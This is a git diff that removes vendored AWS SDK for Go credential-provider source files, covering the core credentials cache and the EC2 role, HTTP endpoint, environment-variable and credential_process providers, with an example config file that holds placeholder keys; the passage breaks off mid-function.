a/vendor/github.com/aws/aws-sdk-go/aws/credentials/credentials.go +++ /dev/null @@ -1,292 +0,0 @@ -// Package credentials provides credential retrieval and management -// -// The Credentials is the primary method of getting access to and managing -// credentials Values. Using dependency injection retrieval of the credential -// values is handled by a object which satisfies the Provider interface. -// -// By default the Credentials.Get() will cache the successful result of a -// Provider's Retrieve() until Provider.IsExpired() returns true. At which -// point Credentials will call Provider's Retrieve() to get new credential Value. -// -// The Provider is responsible for determining when credentials Value have expired. -// It is also important to note that Credentials will always call Retrieve the -// first time Credentials.Get() is called. -// -// Example of using the environment variable credentials. -// -// creds := credentials.NewEnvCredentials() -// -// // Retrieve the credentials value -// credValue, err := creds.Get() -// if err != nil { -// // handle error -// } -// -// Example of forcing credentials to expire and be refreshed on the next Get(). -// This may be helpful to proactively expire credentials and refresh them sooner -// than they would naturally expire on their own. -// -// creds := credentials.NewCredentials(&ec2rolecreds.EC2RoleProvider{}) -// creds.Expire() -// credsValue, err := creds.Get() -// // New credentials will be retrieved instead of from cache. -// -// -// Custom Provider -// -// Each Provider built into this package also provides a helper method to generate -// a Credentials pointer setup with the provider. To use a custom Provider just -// create a type which satisfies the Provider interface and pass it to the -// NewCredentials method. -// -// type MyProvider struct{} -// func (m *MyProvider) Retrieve() (Value, error) {...} -// func (m *MyProvider) IsExpired() bool {...} -// -// creds := credentials.NewCredentials(&MyProvider{}) -// credValue, err := creds.Get() -// -package credentials - -import ( - "fmt" - "github.com/aws/aws-sdk-go/aws/awserr" - "sync" - "time" -) - -// AnonymousCredentials is an empty Credential object that can be used as -// dummy placeholder credentials for requests that do not need signed. -// -// This Credentials can be used to configure a service to not sign requests -// when making service API calls. For example, when accessing public -// s3 buckets. -// -// svc := s3.New(session.Must(session.NewSession(&aws.Config{ -// Credentials: credentials.AnonymousCredentials, -// }))) -// // Access public S3 buckets. -var AnonymousCredentials = NewStaticCredentials("", "", "") - -// A Value is the AWS credentials value for individual credential fields. -type Value struct { - // AWS Access key ID - AccessKeyID string - - // AWS Secret Access Key - SecretAccessKey string - - // AWS Session Token - SessionToken string - - // Provider used to get credentials - ProviderName string -} - -// A Provider is the interface for any component which will provide credentials -// Value. A provider is required to manage its own Expired state, and what to -// be expired means. -// -// The Provider should not need to implement its own mutexes, because -// that will be managed by Credentials. -type Provider interface { - // Retrieve returns nil if it successfully retrieved the value. - // Error is returned if the value were not obtainable, or empty. - Retrieve() (Value, error) - - // IsExpired returns if the credentials are no longer valid, and need - // to be retrieved. - IsExpired() bool -} - -// An Expirer is an interface that Providers can implement to expose the expiration -// time, if known. If the Provider cannot accurately provide this info, -// it should not implement this interface. -type Expirer interface { - // The time at which the credentials are no longer valid - ExpiresAt() time.Time -} - -// An ErrorProvider is a stub credentials provider that always returns an error -// this is used by the SDK when construction a known provider is not possible -// due to an error. -type ErrorProvider struct { - // The error to be returned from Retrieve - Err error - - // The provider name to set on the Retrieved returned Value - ProviderName string -} - -// Retrieve will always return the error that the ErrorProvider was created with. -func (p ErrorProvider) Retrieve() (Value, error) { - return Value{ProviderName: p.ProviderName}, p.Err -} - -// IsExpired will always return not expired. -func (p ErrorProvider) IsExpired() bool { - return false -} - -// A Expiry provides shared expiration logic to be used by credentials -// providers to implement expiry functionality. -// -// The best method to use this struct is as an anonymous field within the -// provider's struct. -// -// Example: -// type EC2RoleProvider struct { -// Expiry -// ... -// } -type Expiry struct { - // The date/time when to expire on - expiration time.Time - - // If set will be used by IsExpired to determine the current time. - // Defaults to time.Now if CurrentTime is not set. Available for testing - // to be able to mock out the current time. - CurrentTime func() time.Time -} - -// SetExpiration sets the expiration IsExpired will check when called. -// -// If window is greater than 0 the expiration time will be reduced by the -// window value. -// -// Using a window is helpful to trigger credentials to expire sooner than -// the expiration time given to ensure no requests are made with expired -// tokens. -func (e *Expiry) SetExpiration(expiration time.Time, window time.Duration) { - e.expiration = expiration - if window > 0 { - e.expiration = e.expiration.Add(-window) - } -} - -// IsExpired returns if the credentials are expired. -func (e *Expiry) IsExpired() bool { - curTime := e.CurrentTime - if curTime == nil { - curTime = time.Now - } - return e.expiration.Before(curTime()) -} - -// ExpiresAt returns the expiration time of the credential -func (e *Expiry) ExpiresAt() time.Time { - return e.expiration -} - -// A Credentials provides concurrency safe retrieval of AWS credentials Value. -// Credentials will cache the credentials value until they expire. Once the value -// expires the next Get will attempt to retrieve valid credentials. -// -// Credentials is safe to use across multiple goroutines and will manage the -// synchronous state so the Providers do not need to implement their own -// synchronization. -// -// The first Credentials.Get() will always call Provider.Retrieve() to get the -// first instance of the credentials Value. All calls to Get() after that -// will return the cached credentials Value until IsExpired() returns true. -type Credentials struct { - creds Value - forceRefresh bool - - m sync.RWMutex - - provider Provider -} - -// NewCredentials returns a pointer to a new Credentials with the provider set. -func NewCredentials(provider Provider) *Credentials { - return &Credentials{ - provider: provider, - forceRefresh: true, - } -} - -// Get returns the credentials value, or error if the credentials Value failed -// to be retrieved. -// -// Will return the cached credentials Value if it has not expired. If the -// credentials Value has expired the Provider's Retrieve() will be called -// to refresh the credentials. -// -// If Credentials.Expire() was called the credentials Value will be force -// expired, and the next call to Get() will cause them to be refreshed. -func (c *Credentials) Get() (Value, error) { - // Check the cached credentials first with just the read lock. - c.m.RLock() - if !c.isExpired() { - creds := c.creds - c.m.RUnlock() - return creds, nil - } - c.m.RUnlock() - - // Credentials are expired need to retrieve the credentials taking the full - // lock. - c.m.Lock() - defer c.m.Unlock() - - if c.isExpired() { - creds, err := c.provider.Retrieve() - if err != nil { - return Value{}, err - } - c.creds = creds - c.forceRefresh = false - } - - return c.creds, nil -} - -// Expire expires the credentials and forces them to be retrieved on the -// next call to Get(). -// -// This will override the Provider's expired state, and force Credentials -// to call the Provider's Retrieve(). -func (c *Credentials) Expire() { - c.m.Lock() - defer c.m.Unlock() - - c.forceRefresh = true -} - -// IsExpired returns if the credentials are no longer valid, and need -// to be retrieved. -// -// If the Credentials were forced to be expired with Expire() this will -// reflect that override. -func (c *Credentials) IsExpired() bool { - c.m.RLock() - defer c.m.RUnlock() - - return c.isExpired() -} - -// isExpired helper method wrapping the definition of expired credentials. -func (c *Credentials) isExpired() bool { - return c.forceRefresh || c.provider.IsExpired() -} - -// ExpiresAt provides access to the functionality of the Expirer interface of -// the underlying Provider, if it supports that interface. Otherwise, it returns -// an error. -func (c *Credentials) ExpiresAt() (time.Time, error) { - c.m.RLock() - defer c.m.RUnlock() - - expirer, ok := c.provider.(Expirer) - if !ok { - return time.Time{}, awserr.New("ProviderNotExpirer", - fmt.Sprintf("provider %s does not support ExpiresAt()", c.creds.ProviderName), - nil) - } - if c.forceRefresh { - // set expiration time to the distant past - return time.Time{}, nil - } - return expirer.ExpiresAt(), nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/ec2rolecreds/ec2_role_provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/ec2rolecreds/ec2_role_provider.go deleted file mode 100644 index 0ed791be64..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/ec2rolecreds/ec2_role_provider.go +++ /dev/null @@ -1,178 +0,0 @@ -package ec2rolecreds - -import ( - "bufio" - "encoding/json" - "fmt" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/ec2metadata" - "github.com/aws/aws-sdk-go/internal/sdkuri" -) - -// ProviderName provides a name of EC2Role provider -const ProviderName = "EC2RoleProvider" - -// A EC2RoleProvider retrieves credentials from the EC2 service, and keeps track if -// those credentials are expired. -// -// Example how to configure the EC2RoleProvider with custom http Client, Endpoint -// or ExpiryWindow -// -// p := &ec2rolecreds.EC2RoleProvider{ -// // Pass in a custom timeout to be used when requesting -// // IAM EC2 Role credentials. -// Client: ec2metadata.New(sess, aws.Config{ -// HTTPClient: &http.Client{Timeout: 10 * time.Second}, -// }), -// -// // Do not use early expiry of credentials. If a non zero value is -// // specified the credentials will be expired early -// ExpiryWindow: 0, -// } -type EC2RoleProvider struct { - credentials.Expiry - - // Required EC2Metadata client to use when connecting to EC2 metadata service. - Client *ec2metadata.EC2Metadata - - // ExpiryWindow will allow the credentials to trigger refreshing prior to - // the credentials actually expiring. This is beneficial so race conditions - // with expiring credentials do not cause request to fail unexpectedly - // due to ExpiredTokenException exceptions. - // - // So a ExpiryWindow of 10s would cause calls to IsExpired() to return true - // 10 seconds before the credentials are actually expired. - // - // If ExpiryWindow is 0 or less it will be ignored. - ExpiryWindow time.Duration -} - -// NewCredentials returns a pointer to a new Credentials object wrapping -// the EC2RoleProvider. Takes a ConfigProvider to create a EC2Metadata client. -// The ConfigProvider is satisfied by the session.Session type. -func NewCredentials(c client.ConfigProvider, options ...func(*EC2RoleProvider)) *credentials.Credentials { - p := &EC2RoleProvider{ - Client: ec2metadata.New(c), - } - - for _, option := range options { - option(p) - } - - return credentials.NewCredentials(p) -} - -// NewCredentialsWithClient returns a pointer to a new Credentials object wrapping -// the EC2RoleProvider. Takes a EC2Metadata client to use when connecting to EC2 -// metadata service. -func NewCredentialsWithClient(client *ec2metadata.EC2Metadata, options ...func(*EC2RoleProvider)) *credentials.Credentials { - p := &EC2RoleProvider{ - Client: client, - } - - for _, option := range options { - option(p) - } - - return credentials.NewCredentials(p) -} - -// Retrieve retrieves credentials from the EC2 service. -// Error will be returned if the request fails, or unable to extract -// the desired credentials. -func (m *EC2RoleProvider) Retrieve() (credentials.Value, error) { - credsList, err := requestCredList(m.Client) - if err != nil { - return credentials.Value{ProviderName: ProviderName}, err - } - - if len(credsList) == 0 { - return credentials.Value{ProviderName: ProviderName}, awserr.New("EmptyEC2RoleList", "empty EC2 Role list", nil) - } - credsName := credsList[0] - - roleCreds, err := requestCred(m.Client, credsName) - if err != nil { - return credentials.Value{ProviderName: ProviderName}, err - } - - m.SetExpiration(roleCreds.Expiration, m.ExpiryWindow) - - return credentials.Value{ - AccessKeyID: roleCreds.AccessKeyID, - SecretAccessKey: roleCreds.SecretAccessKey, - SessionToken: roleCreds.Token, - ProviderName: ProviderName, - }, nil -} - -// A ec2RoleCredRespBody provides the shape for unmarshaling credential -// request responses. -type ec2RoleCredRespBody struct { - // Success State - Expiration time.Time - AccessKeyID string - SecretAccessKey string - Token string - - // Error state - Code string - Message string -} - -const iamSecurityCredsPath = "iam/security-credentials/" - -// requestCredList requests a list of credentials from the EC2 service. -// If there are no credentials, or there is an error making or receiving the request -func requestCredList(client *ec2metadata.EC2Metadata) ([]string, error) { - resp, err := client.GetMetadata(iamSecurityCredsPath) - if err != nil { - return nil, awserr.New("EC2RoleRequestError", "no EC2 instance role found", err) - } - - credsList := []string{} - s := bufio.NewScanner(strings.NewReader(resp)) - for s.Scan() { - credsList = append(credsList, s.Text()) - } - - if err := s.Err(); err != nil { - return nil, awserr.New("SerializationError", "failed to read EC2 instance role from metadata service", err) - } - - return credsList, nil -} - -// requestCred requests the credentials for a specific credentials from the EC2 service. -// -// If the credentials cannot be found, or there is an error reading the response -// and error will be returned. -func requestCred(client *ec2metadata.EC2Metadata, credsName string) (ec2RoleCredRespBody, error) { - resp, err := client.GetMetadata(sdkuri.PathJoin(iamSecurityCredsPath, credsName)) - if err != nil { - return ec2RoleCredRespBody{}, - awserr.New("EC2RoleRequestError", - fmt.Sprintf("failed to get %s EC2 instance role credentials", credsName), - err) - } - - respCreds := ec2RoleCredRespBody{} - if err := json.NewDecoder(strings.NewReader(resp)).Decode(&respCreds); err != nil { - return ec2RoleCredRespBody{}, - awserr.New("SerializationError", - fmt.Sprintf("failed to decode %s EC2 instance role credentials", credsName), - err) - } - - if respCreds.Code != "Success" { - // If an error code was returned something failed requesting the role. - return ec2RoleCredRespBody{}, awserr.New(respCreds.Code, respCreds.Message, nil) - } - - return respCreds, nil -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/endpointcreds/provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/endpointcreds/provider.go deleted file mode 100644 index ace5131382..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/endpointcreds/provider.go +++ /dev/null @@ -1,198 +0,0 @@ -// Package endpointcreds provides support for retrieving credentials from an -// arbitrary HTTP endpoint. -// -// The credentials endpoint Provider can receive both static and refreshable -// credentials that will expire. Credentials are static when an "Expiration" -// value is not provided in the endpoint's response. -// -// Static credentials will never expire once they have been retrieved. The format -// of the static credentials response: -// { -// "AccessKeyId" : "MUA...", -// "SecretAccessKey" : "/7PC5om....", -// } -// -// Refreshable credentials will expire within the "ExpiryWindow" of the Expiration -// value in the response. The format of the refreshable credentials response: -// { -// "AccessKeyId" : "MUA...", -// "SecretAccessKey" : "/7PC5om....", -// "Token" : "AQoDY....=", -// "Expiration" : "2016-02-25T06:03:31Z" -// } -// -// Errors should be returned in the following format and only returned with 400 -// or 500 HTTP status codes. -// { -// "code": "ErrorCode", -// "message": "Helpful error message." -// } -package endpointcreds - -import ( - "encoding/json" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/client" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/aws/credentials" - "github.com/aws/aws-sdk-go/aws/request" -) - -// ProviderName is the name of the credentials provider. -const ProviderName = `CredentialsEndpointProvider` - -// Provider satisfies the credentials.Provider interface, and is a client to -// retrieve credentials from an arbitrary endpoint. -type Provider struct { - staticCreds bool - credentials.Expiry - - // Requires a AWS Client to make HTTP requests to the endpoint with. - // the Endpoint the request will be made to is provided by the aws.Config's - // Endpoint value. - Client *client.Client - - // ExpiryWindow will allow the credentials to trigger refreshing prior to - // the credentials actually expiring. This is beneficial so race conditions - // with expiring credentials do not cause request to fail unexpectedly - // due to ExpiredTokenException exceptions. - // - // So a ExpiryWindow of 10s would cause calls to IsExpired() to return true - // 10 seconds before the credentials are actually expired. - // - // If ExpiryWindow is 0 or less it will be ignored. - ExpiryWindow time.Duration - - // Optional authorization token value if set will be used as the value of - // the Authorization header of the endpoint credential request. - AuthorizationToken string -} - -// NewProviderClient returns a credentials Provider for retrieving AWS credentials -// from arbitrary endpoint. -func NewProviderClient(cfg aws.Config, handlers request.Handlers, endpoint string, options ...func(*Provider)) credentials.Provider { - p := &Provider{ - Client: client.New( - cfg, - metadata.ClientInfo{ - ServiceName: "CredentialsEndpoint", - Endpoint: endpoint, - }, - handlers, - ), - } - - p.Client.Handlers.Unmarshal.PushBack(unmarshalHandler) - p.Client.Handlers.UnmarshalError.PushBack(unmarshalError) - p.Client.Handlers.Validate.Clear() - p.Client.Handlers.Validate.PushBack(validateEndpointHandler) - - for _, option := range options { - option(p) - } - - return p -} - -// NewCredentialsClient returns a Credentials wrapper for retrieving credentials -// from an arbitrary endpoint concurrently. The client will request the -func NewCredentialsClient(cfg aws.Config, handlers request.Handlers, endpoint string, options ...func(*Provider)) *credentials.Credentials { - return credentials.NewCredentials(NewProviderClient(cfg, handlers, endpoint, options...)) -} - -// IsExpired returns true if the credentials retrieved are expired, or not yet -// retrieved. -func (p *Provider) IsExpired() bool { - if p.staticCreds { - return false - } - return p.Expiry.IsExpired() -} - -// Retrieve will attempt to request the credentials from the endpoint the Provider -// was configured for. And error will be returned if the retrieval fails. -func (p *Provider) Retrieve() (credentials.Value, error) { - resp, err := p.getCredentials() - if err != nil { - return credentials.Value{ProviderName: ProviderName}, - awserr.New("CredentialsEndpointError", "failed to load credentials", err) - } - - if resp.Expiration != nil { - p.SetExpiration(*resp.Expiration, p.ExpiryWindow) - } else { - p.staticCreds = true - } - - return credentials.Value{ - AccessKeyID: resp.AccessKeyID, - SecretAccessKey: resp.SecretAccessKey, - SessionToken: resp.Token, - ProviderName: ProviderName, - }, nil -} - -type getCredentialsOutput struct { - Expiration *time.Time - AccessKeyID string - SecretAccessKey string - Token string -} - -type errorOutput struct { - Code string `json:"code"` - Message string `json:"message"` -} - -func (p *Provider) getCredentials() (*getCredentialsOutput, error) { - op := &request.Operation{ - Name: "GetCredentials", - HTTPMethod: "GET", - } - - out := &getCredentialsOutput{} - req := p.Client.NewRequest(op, nil, out) - req.HTTPRequest.Header.Set("Accept", "application/json") - if authToken := p.AuthorizationToken; len(authToken) != 0 { - req.HTTPRequest.Header.Set("Authorization", authToken) - } - - return out, req.Send() -} - -func validateEndpointHandler(r *request.Request) { - if len(r.ClientInfo.Endpoint) == 0 { - r.Error = aws.ErrMissingEndpoint - } -} - -func unmarshalHandler(r *request.Request) { - defer r.HTTPResponse.Body.Close() - - out := r.Data.(*getCredentialsOutput) - if err := json.NewDecoder(r.HTTPResponse.Body).Decode(&out); err != nil { - r.Error = awserr.New("SerializationError", - "failed to decode endpoint credentials", - err, - ) - } -} - -func unmarshalError(r *request.Request) { - defer r.HTTPResponse.Body.Close() - - var errOut errorOutput - if err := json.NewDecoder(r.HTTPResponse.Body).Decode(&errOut); err != nil { - r.Error = awserr.New("SerializationError", - "failed to decode endpoint credentials", - err, - ) - } - - // Response body format is not consistent between metadata endpoints. - // Grab the error message as a string and include that as the source error - r.Error = awserr.New(errOut.Code, errOut.Message, nil) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/env_provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/env_provider.go deleted file mode 100644 index 54c5cf7333..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/env_provider.go +++ /dev/null @@ -1,74 +0,0 @@ -package credentials - -import ( - "os" - - "github.com/aws/aws-sdk-go/aws/awserr" -) - -// EnvProviderName provides a name of Env provider -const EnvProviderName = "EnvProvider" - -var ( - // ErrAccessKeyIDNotFound is returned when the AWS Access Key ID can't be - // found in the process's environment. - ErrAccessKeyIDNotFound = awserr.New("EnvAccessKeyNotFound", "AWS_ACCESS_KEY_ID or AWS_ACCESS_KEY not found in environment", nil) - - // ErrSecretAccessKeyNotFound is returned when the AWS Secret Access Key - // can't be found in the process's environment. - ErrSecretAccessKeyNotFound = awserr.New("EnvSecretNotFound", "AWS_SECRET_ACCESS_KEY or AWS_SECRET_KEY not found in environment", nil) -) - -// A EnvProvider retrieves credentials from the environment variables of the -// running process. Environment credentials never expire. -// -// Environment variables used: -// -// * Access Key ID: AWS_ACCESS_KEY_ID or AWS_ACCESS_KEY -// -// * Secret Access Key: AWS_SECRET_ACCESS_KEY or AWS_SECRET_KEY -type EnvProvider struct { - retrieved bool -} - -// NewEnvCredentials returns a pointer to a new Credentials object -// wrapping the environment variable provider. -func NewEnvCredentials() *Credentials { - return NewCredentials(&EnvProvider{}) -} - -// Retrieve retrieves the keys from the environment. -func (e *EnvProvider) Retrieve() (Value, error) { - e.retrieved = false - - id := os.Getenv("AWS_ACCESS_KEY_ID") - if id == "" { - id = os.Getenv("AWS_ACCESS_KEY") - } - - secret := os.Getenv("AWS_SECRET_ACCESS_KEY") - if secret == "" { - secret = os.Getenv("AWS_SECRET_KEY") - } - - if id == "" { - return Value{ProviderName: EnvProviderName}, ErrAccessKeyIDNotFound - } - - if secret == "" { - return Value{ProviderName: EnvProviderName}, ErrSecretAccessKeyNotFound - } - - e.retrieved = true - return Value{ - AccessKeyID: id, - SecretAccessKey: secret, - SessionToken: os.Getenv("AWS_SESSION_TOKEN"), - ProviderName: EnvProviderName, - }, nil -} - -// IsExpired returns if the credentials have been retrieved. -func (e *EnvProvider) IsExpired() bool { - return !e.retrieved -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/example.ini b/vendor/github.com/aws/aws-sdk-go/aws/credentials/example.ini deleted file mode 100644 index 7fc91d9d20..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/example.ini +++ /dev/null @@ -1,12 +0,0 @@ -[default] -aws_access_key_id = accessKey -aws_secret_access_key = secret -aws_session_token = token - -[no_token] -aws_access_key_id = accessKey -aws_secret_access_key = secret - -[with_colon] -aws_access_key_id: accessKey -aws_secret_access_key: secret diff --git a/vendor/github.com/aws/aws-sdk-go/aws/credentials/processcreds/provider.go b/vendor/github.com/aws/aws-sdk-go/aws/credentials/processcreds/provider.go deleted file mode 100644 index 1980c8c140..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/credentials/processcreds/provider.go +++ /dev/null @@ -1,425 +0,0 @@ -/* -Package processcreds is a credential Provider to retrieve `credential_process` -credentials. - -WARNING: The following describes a method of sourcing credentials from an external -process. This can potentially be dangerous, so proceed with caution. Other -credential providers should be preferred if at all possible. If using this -option, you should make sure that the config file is as locked down as possible -using security best practices for your operating system. - -You can use credentials from a `credential_process` in a variety of ways. - -One way is to setup your shared config file, located in the default -location, with the `credential_process` key and the command you want to be -called. You also need to set the AWS_SDK_LOAD_CONFIG environment variable -(e.g., `export AWS_SDK_LOAD_CONFIG=1`) to use the shared config file. - - [default] - credential_process = /command/to/call - -Creating a new session will use the credential process to retrieve credentials. -NOTE: If there are credentials in the profile you are using, the credential -process will not be used. - - // Initialize a session to load credentials. - sess, _ := session.NewSession(&aws.Config{ - Region: aws.String("us-east-1")}, - ) - - // Create S3 service client to use the credentials. - svc := s3.New(sess) - -Another way to use the `credential_process` method is by using -`credentials.NewCredentials()` and providing a command to be executed to -retrieve credentials: - - // Create credentials using the ProcessProvider. - creds := processcreds.NewCredentials("/path/to/command") - - // Create service client value configured for credentials. - svc := s3.New(sess, &aws.Config{Credentials: creds}) - -You can set a non-default timeout for the `credential_process` with another -constructor, `credentials.NewCredentialsTimeout()`, providing the timeout. To -set a one minute timeout: - - // Create credentials using the ProcessProvider. - creds := processcreds.NewCredentialsTimeout( - "/path/to/command", - time.Duration(500) * time.Millisecond) - -If you need more control, you can set any configurable options in the -credentials using one or more option functions. For example, you can set a two -minute timeout, a credential duration of 60 minutes, and a maximum stdout -buffer size of 2k. - - creds := processcreds.NewCredentials( - "/path/to/command", - func(opt *ProcessProvider) { - opt.Timeout = time.Duration(2) * time.Minute - opt.Duration = time.Duration(60) * time.Minute - opt.MaxBufSize = 2048 - }) - -You can also use your own `exec.Cmd`: - - // Create an exec.Cmd - myCommand := exec.Command("/path/to/command") - - // Create credentials using your exec.Cmd and custom timeout - creds := processcreds.NewCredentialsCommand( - myCommand, - func(opt *processcreds.ProcessProvider) { - opt.Timeout = time.Duration(1) * time.Second - }) -*/ -package processcreds - -import ( - "bytes" - "encoding/json" - "fmt" - "io" - "io/ioutil" - "os" - "os/exec" - "runtime" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/credentials" -) - -const ( - // ProviderName is the name this credentials provider will label any - // returned credentials Value with. - ProviderName = `ProcessProvider` - - // ErrCodeProcessProviderParse error parsing process output - ErrCodeProcessProviderParse = "ProcessProviderParseError" - - // ErrCodeProcessProviderVersion version error in output - ErrCodeProcessProviderVersion = "ProcessProviderVersionError" - - // ErrCodeProcessProviderRequired required attribute missing in output - ErrCodeProcessProviderRequired = "ProcessProviderRequiredError" - - // ErrCodeProcessProviderExecution execution of command failed - ErrCodeProcessProviderExecution = "ProcessProviderExecutionError" - - // errMsgProcessProviderTimeout process took longer than allowed - errMsgProcessProviderTimeout = "credential process timed out" - - // errMsgProcessProviderProcess process error - errMsgProcessProviderProcess = "error in credential_process" - - // errMsgProcessProviderParse problem parsing output - errMsgProcessProviderParse = "parse failed of credential_process output" - - // errMsgProcessProviderVersion version error in output - errMsgProcessProviderVersion = "wrong version in process output (not 1)" - - // errMsgProcessProviderMissKey missing access key id in output - errMsgProcessProviderMissKey = "missing AccessKeyId in process output" - - // errMsgProcessProviderMissSecret missing secret acess key in output - errMsgProcessProviderMissSecret = "missing SecretAccessKey in process output" - - // errMsgProcessProviderPrepareCmd prepare of command failed - errMsgProcessProviderPrepareCmd = "failed to prepare command" - - // errMsgProcessProviderEmptyCmd command must not be empty - errMsgProcessProviderEmptyCmd = "command must not be empty" - - // errMsgProcessProviderPipe failed to initialize pipe - errMsgProcessProviderPipe = "failed to initialize pipe" - - // DefaultDuration is the default amount of time in minutes that the - // credentials will be valid for. - DefaultDuration = time.Duration(15) * time.Minute - - // DefaultBufSize limits buffer size from growing to an enormous - // amount due to a faulty process. - DefaultBufSize = 1024 - - // DefaultTimeout default limit on time a process can run. - DefaultTimeout = time.Duration(1) * time.Minute -) - -// ProcessProvider satisfies the credentials.Provider interface, and is a -// client to retrieve credentials from a process. -type ProcessProvider struct { - staticCreds bool - credentials.Expiry - originalCommand []string - - // Expiry duration of the credentials. Defaults to 15 minutes if not set. - Duration time.Duration - - // ExpiryWindow will allow the credentials to trigger refreshing prior to - // the credentials actually expiring. This is beneficial so race conditions - // with expiring credentials do not cause request to fail unexpectedly - // due to ExpiredTokenException exceptions. - // - // So a ExpiryWindow of 10s would cause calls to IsExpired() to return true - // 10 seconds before the credentials are actually expired. - // - // If ExpiryWindow is 0 or less it will be ignored. - ExpiryWindow time.Duration - - // A string representing an os command that should return a JSON with - // credential information. - command *exec.Cmd - - // MaxBufSize limits memory usage from growing to an enormous - // amount due to a faulty process. - MaxBufSize int - - // Timeout limits the time a process can run. - Timeout time.Duration -} - -// NewCredentials returns a pointer to a new Credentials object wrapping the -// ProcessProvider. The credentials will expire every 15 minutes by default. -func NewCredentials(command string, options ...func(*ProcessProvider)) *credentials.Credentials { - p := &ProcessProvider{ - command: exec.Command(command), - Duration: DefaultDuration, - Timeout: DefaultTimeout, - MaxBufSize: DefaultBufSize, - } - - for _, option := range options { - option(p) - } - - return credentials.NewCredentials(p) -} - -// NewCredentialsTimeout returns a pointer to a new Credentials object with -// the specified command and timeout, and default duration and max buffer size. -func NewCredentialsTimeout(command string, timeout time.Duration) *credentials.Credentials { - p := NewCredentials(command, func(opt *ProcessProvider) { - opt.Timeout = timeout - }) - - return p -} - -// NewCredentialsCommand returns a pointer to a new Credentials object with -// the specified command, and default timeout, duration and max buffer size. -func NewCredentialsCommand(command *exec.Cmd, options ...func(*ProcessProvider)) *credentials.Credentials { - p := &ProcessProvider{ - command: command, - Duration: DefaultDuration, - Timeout: DefaultTimeout, - MaxBufSize: DefaultBufSize, - } - - for _, option := range options { - option(p) - } - - return credentials.NewCredentials(p) -} - -type credentialProcessResponse struct { - Version int - AccessKeyID string `json:"AccessKeyId"` - SecretAccessKey string - SessionToken string - Expiration *time.Time -} - -// Retrieve executes the 'credential_process' and returns the credentials. -func (p *ProcessProvider) Retrieve() (credentials.Value, error) { - out, err := p.executeCredentialProcess() - if err != nil { - return credentials.Value{ProviderName: ProviderName}, err - } - - // Serialize and validate response - resp := &credentialProcessResponse{} - if err = json.Unmarshal(out, resp); err != nil { - return credentials.Value{ProviderName: ProviderName}, awserr.New( - ErrCodeProcessProviderParse, - fmt.Sprintf("%s: %s", errMsgProcessProviderParse, string(out)), - err) - } - - if resp.Version != 1 { - return credentials.Value{ProviderName: ProviderName}, awserr.New( - ErrCodeProcessProviderVersion, - errMsgProcessProviderVersion, - nil) - } - - if len(resp.AccessKeyID) == 0 { - return credentials.Value{ProviderName: ProviderName}, awserr.New( - ErrCodeProcessProviderRequired, - errMsgProcessProviderMissKey, - nil) - } - - if len(resp.SecretAccessKey) == 0 { - return credentials.Value{ProviderName: ProviderName}, awserr.New( - ErrCodeProcessProviderRequired, - errMsgProcessProviderMissSecret, - nil) - } - - // Handle expiration - p.staticCreds = resp.Expiration == nil - if resp.Expiration != nil { - p.SetExpiration(*resp.Expiration, p.ExpiryWindow) - } - - return credentials.Value{ - ProviderName: ProviderName, - AccessKeyID: resp.AccessKeyID, - SecretAccessKey: resp.SecretAccessKey, - SessionToken: resp.SessionToken, - }, nil -} - -// IsExpired returns true if the credentials retrieved are expired, or not yet -// retrieved. -func (p *ProcessProvider) IsExpired() bool { - if p.staticCreds { - return false - } - return p.Expiry.IsExpired() -} - -// prepareCommand prepares the command to be executed. -func (p *ProcessProvider) prepareCommand() error { - - var cmdArgs []string - if runtime.GOOS == "windows" { - cmdArgs = []string{"cmd.exe", "/C"} - } else { - cmdArgs = []string{"sh", "-c"} - } - - if len(p.originalCommand) == 0 { - p.originalCommand = make([]string, len(p.command.Args)) - copy(p.originalCommand, p.command.Args) - - // check for empty command because it succeeds - if len(strings.TrimSpace(p.originalCommand[0])) < 1 { - return awserr.New( - ErrCodeProcessProviderExecution, - fmt.Sprintf( - "%s: %s", - errMsgProcessProviderPrepareCmd, - errMsgProcessProviderEmptyCmd), - nil) - } - } - - cmdArgs = append(cmdArgs, p.originalCommand...) - p.command = exec.Command(cmdArgs[0], cmdArgs[1:]...) - p.command.Env = os.Environ() - - return nil -} - -// executeCredentialProcess starts the credential process on the OS and -// returns the results or an error. -func (p *ProcessProvider) executeCredentialProcess() ([]byte, error) { - - if err := p.prepareCommand(); err != nil { - return nil, err - } - - // Setup the pipes - outReadPipe, outWritePipe, err := os.Pipe() - if err != nil { - return nil, awserr.New( - ErrCodeProcessProviderExecution, - errMsgProcessProviderPipe, - err) - } - - p.command.Stderr = os.Stderr // display stderr on console for MFA - p.command.Stdout = outWritePipe // get creds json on process's stdout - p.command.Stdin = os.Stdin // enable stdin for MFA - - output := bytes.NewBuffer(make([]byte, 0, p.MaxBufSize)) - - stdoutCh := make(chan error, 1) - go readInput( - io.LimitReader(outReadPipe, int64(p.MaxBufSize)), - output, - stdoutCh) - - execCh := make(chan error, 1) - go executeCommand(*p.command, execCh) - - finished := false - var errors []error - for !finished { - select { - case readError := <-stdoutCh: - errors = appendError(errors, readError) - finished = true - case execError := <-execCh: - err := outWritePipe.Close() - errors = appendError(errors, err) - errors = appendError(errors, execError) - if errors != nil { - return output.Bytes(), awserr.NewBatchError( - ErrCodeProcessProviderExecution, - errMsgProcessProviderProcess, - errors) - } - case <-time.After(p.Timeout): - finished = true - return 